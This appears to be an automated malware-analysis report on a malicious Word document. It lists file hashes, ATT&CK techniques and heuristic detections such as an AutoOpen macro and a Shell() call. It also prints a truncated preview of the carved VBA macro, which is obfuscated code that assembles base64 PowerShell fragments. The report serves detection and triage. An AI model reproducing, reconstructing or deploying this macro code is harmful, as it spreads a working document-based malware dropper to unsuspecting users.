Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c394d23bc99d403d…

MALICIOUS

Office (OLE)

78.0 KB Created: 2017-11-07 12:38:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: b8e3a02b99659e2cf862de74cbca27d5 SHA-1: 8db9bc778732f44e04bbf4803bf357c96a2b3483 SHA-256: c394d23bc99d403d2613ddc56280a5b4fd5b67e47ab9496d8a5311f03cd4b5ef
184 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious OLE document containing a VBA macro. The macro utilizes the Shell() function, indicating an attempt to execute external commands or download additional payloads. The presence of an AutoOpen macro further suggests automatic execution upon opening the document. The reconstructed string 'jnDMKMjJK' is likely a function name or variable used in the obfuscated macro.

Heuristics 7

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13472 bytes
SHA-256: dd9a4688dee7ad7489f78ffd0d0a8212dc0b901e1f1ca98663b93176972367d0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 30 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "jnDMKMjJK"
Function obXcSiYvZ()
PjKJWC = Mid("qzcYowS3DDhXLwVVYiqAtADEANQAzAE4AMQAxADEATQAxADAAMwAtADEAMQA3AHkAMQAwADUALQAxADYAMQA6ADUANwBiADUANAB5ADEANQAwAGIAMQA2ADQATQAxADYANABSADEANgAwAC0ANwAyAE0ANQA3AHEANQA3AHEAMQA1ADQATgAxADQANQB3ADEANAAxAHcAMQA0ADQAewApmqipJO", 20, 193)
rpzbVPwI = Mid("5IuwP6imLVt7aWAHcAMQA1ADUAUgAxADQANQBSADQAMABOADcANQB3ADQAMAB3ADQANAB5ADEANgAyAC0AMQA0ADEALQAxADUANgB7ADEANAA0AHsAMQA1ADcAeQAxADUANQAtADUANgB3AD5CZwuzjLGBHo", 15, 130)
XTqEiFW = Mid("vfitATQA0ADcAdwA3ADMATgAxADQANgBNADEANQA3AE4AMQA2ADIAUgAxADQANQA6ADEANAAxAFIAMQA0ADMAeQAxADUAMABSADUAMABOADQANABxADUREfMGNPj", 5, 111)
vsSkfQrwFCN = Mid("vRQUUQHUtRzmmv0cBqXadoB1hMAB3ADEANQAxAE0AMQA1ADYAYgA0ADAATgA0ADQAOgAxADYANQAtADEANgAhi5AqJDF", 26, 59)
wiLTPinNBJ = Mid("na7n1H5m2MAwADYAUgAxADfpzDcj", 11, 12)
dpRKSRQJw = Mid("P9DEEPfSISSUqt1j7AAyAE4AMQA1ADIAOgAxADQANQBiADEANAAzAC0AMQA2ADQAdwA0ADAATgAxADIAMwB7ADEANwAxAC0AMQA2ADMAdwGMkL", 18, 89)
IMzwGz = Mid("wdMWvFtyAC0AMQA1ADQAUgAxADYAMwBSADUAMQBiADEANwAzAHsAMQA2ADQATgAxADYAMgB5ADEANwAxAHcAMQA3ADMAUgA0ADQAYgAxADYANwA6ADEANAA1AHEAMQA0ADNd8", 8, 123)
VCjwRW = Mid("Bm7Dj41i17Eozs77wq6KQJdFGt0ADUATgAxADEANwBOADEANAAyAE0AMQA1ADIAUgAxADQANQBxADEANAAzAE4AMQA2ADQAewA0ADAAcQAxADIANwB3ADEAMgAzAGIAMQA0ADMAeQAxADYAMgA6ADEANQAxAFIAMQA2ADAAcQAxADYANAAtADUANgA6ADERJ", 28, 163)
QCAGIH = Mid("Bzl48oKrpiRA0ADQAOgAxADYAMABxADEANAAxAHEAMQA2ADQAcQAxADUAMABxADcAMwA6ADEANAAyAE4AMQA2ADIAYgAxADQANQBiADEANAAxAGIAMQAMR", 12, 105)
MzwUiSjuip = Mid("vdAMQA0ADEAcQAxADQANgBiADEANAAxAHkAMQA2ADIAeQAxADUANQAtADEANgAzAHcANQA2AHEAMQA0ADMAUgAxADUANwAtADEANQA1AE4ANQA3AE4AMQAwADYAcQAxADYAMAB3ADEAMQAzAGIAMQAxADYAYgAxADEAMgBxADEAMgAiojwAXCNSI3MjDCNYu8m", 3, 172)
XqlhEcarzQ = Mid("GMmCOcxADQANQB7ADEANgAyAE4AMQA2ADMATgAxADQAMwB5ADEANQAwAHkAMQA1ADcALQAxADUANwB5ADEANQA0AHsANQA2AFIAMQA0ADMAeQAxADUANgBNADUANwBNADEAMwAwADoANQA3AHcANQA0AFIAMQA15nA7XapFsr1Y2hf6PAjfdFkEM7GwPS", 7, 153)
wFMzRzsdOVz = Mid("UoGTQTcpGT1d0msUxADAANABiADEANQA3AHEAMQA2ADcALQAxADUANgB3ADEANQA0AHkAMQA1ADcAeQAxADQAMQB7ADEANAA0AHsAMQh2O", 17, 87)
HTXFDiksK = Mid("K9VujwblANgA0AHEAMQA0ADUAdwLDC", 9, 19)
dMCwciSMjl = Mid("v8KvK5Y9fMo9R8SH9q5MxADQAMABNADQATJorp8nHEPXKHPLI", 21, 13)
rQzmtmKvIvH = Mid("dNQAwAHkANQAxAHkANQA0AC0ANAAwADoANAA0AE0AMQA2ADAAcQAxADQAMQAtADEANgA0AE0AMQA1ADAAOgA1ADEATQA3ADMAcQAxADIAMwA6ADEANgA0AHkAMQA0ADEALQAxADYAMgBNADEANgA0AHEANQA1ADoAMQAyADAAdwAxADYApIMzct5TTmfiOWVS99sSt7qwEpJiFt", 2, 176)
wnzPlrn = Mid("t2vbYoFwNgA3AHcAMQA0ADUAUgAxAFlh", 9, 21)
vvamO = Mid("4TUAMQAtADEANQA0ADoAMQA0ADUAcQA1ADAATgA0ADQAeQAxADYANQAtADEANgAyAFIAMQA1ADQALQA1ADYATgAxADIANAB7ADEANQA3AE0AMQAyADMAcQAxADYANABOADEANgAyAHcAMQA1ADEAYgAxADUANgA6ADEANAA3AFIAz5GkRYlwCVb", 3, 170)
wlQkEDIDvkm = Mid("bo3LcH0AGIAMQA1ADIAcQA1ADcAdwA1ADQAdwAxADUAMAAtADEANgA0AFIAMQA2ADQAcQAxADYAMABSADcAMgB3ADUANwB3ADUANwB3ADEANQA3AHsAMQA0ADYAdwAxADQANgB7ADEANQAxAHcAMQA0ADMAdwAxADUAMQA6ADEANAAxAHEAMQA1ADQAN4XdDK0Tv", 7, 181)
jRwGipdzq = Mid("7DEANQA3AFIAMQA1ADUAewA1ADcAcQAxADAANABSADEAMAAzAHsAMQA2ADAATQAxADYANQBiADEANwAyAHcAMQA1ADQAUgAxADYANAA6ADZdibPkfIZjsaZWf", 2, 105)
AdDDobiuBIi = Mid("YPSrZAEwAbABJAGQAWwAxAF0AKwAkAHMASABlAEwATABJAEQAWwAxADMAXQArACcAeAAnACkA7aqw1WUIw7JzkZZ8jNXL7wVcv8w", 6, 68)
KUikn = Mid("SR2I6AdKdot4qTPB0lkkZLTZANQA1AHcANQA3ADoAMQAyADYAUgAxADEAMAUKZG16sI", 25, 35)
zILzkw = Mid("mHS6V10C0AMQA1ADUAeQAxADYAMABNADQAMABxADUAMwBI5YiSif2wwij7Bzwq", 8, 38)
cjkzltj = Mid("6HQRoOq8LqwTdAdwA0ADAATgA3ADUALQA0ADAALQA0ADQATQAxADQANQBxADEANQA2ADoAMQA2ADYATQA3ADIAdwAxADYANABiADEANAA1AZ10iVpEpGu0oEKQACqz", 14, 94)
JsKMj = Mid("Rzp9Ci6QtUPBOAEcAXQAkAF8AKQAgACwAOAApACAALQBhAFMAIABbAEMAaABBAHIAXQApACAAfQAgACkAIAAtAEoATwBpAE4AIAAnACcAfAAuACgAIAAkAFMASABFcUmE", 12, 114)
fAvfHsi = Mid("OoLYoh4RwuNIhdCEANQA2AFIAMQA0ADUATgAxADcAMAB7ADEANgA0AFIANQAwAGIANgAxAC0ANQA0AGIANAAwAGIANgA2AC0ANgA
... (truncated)

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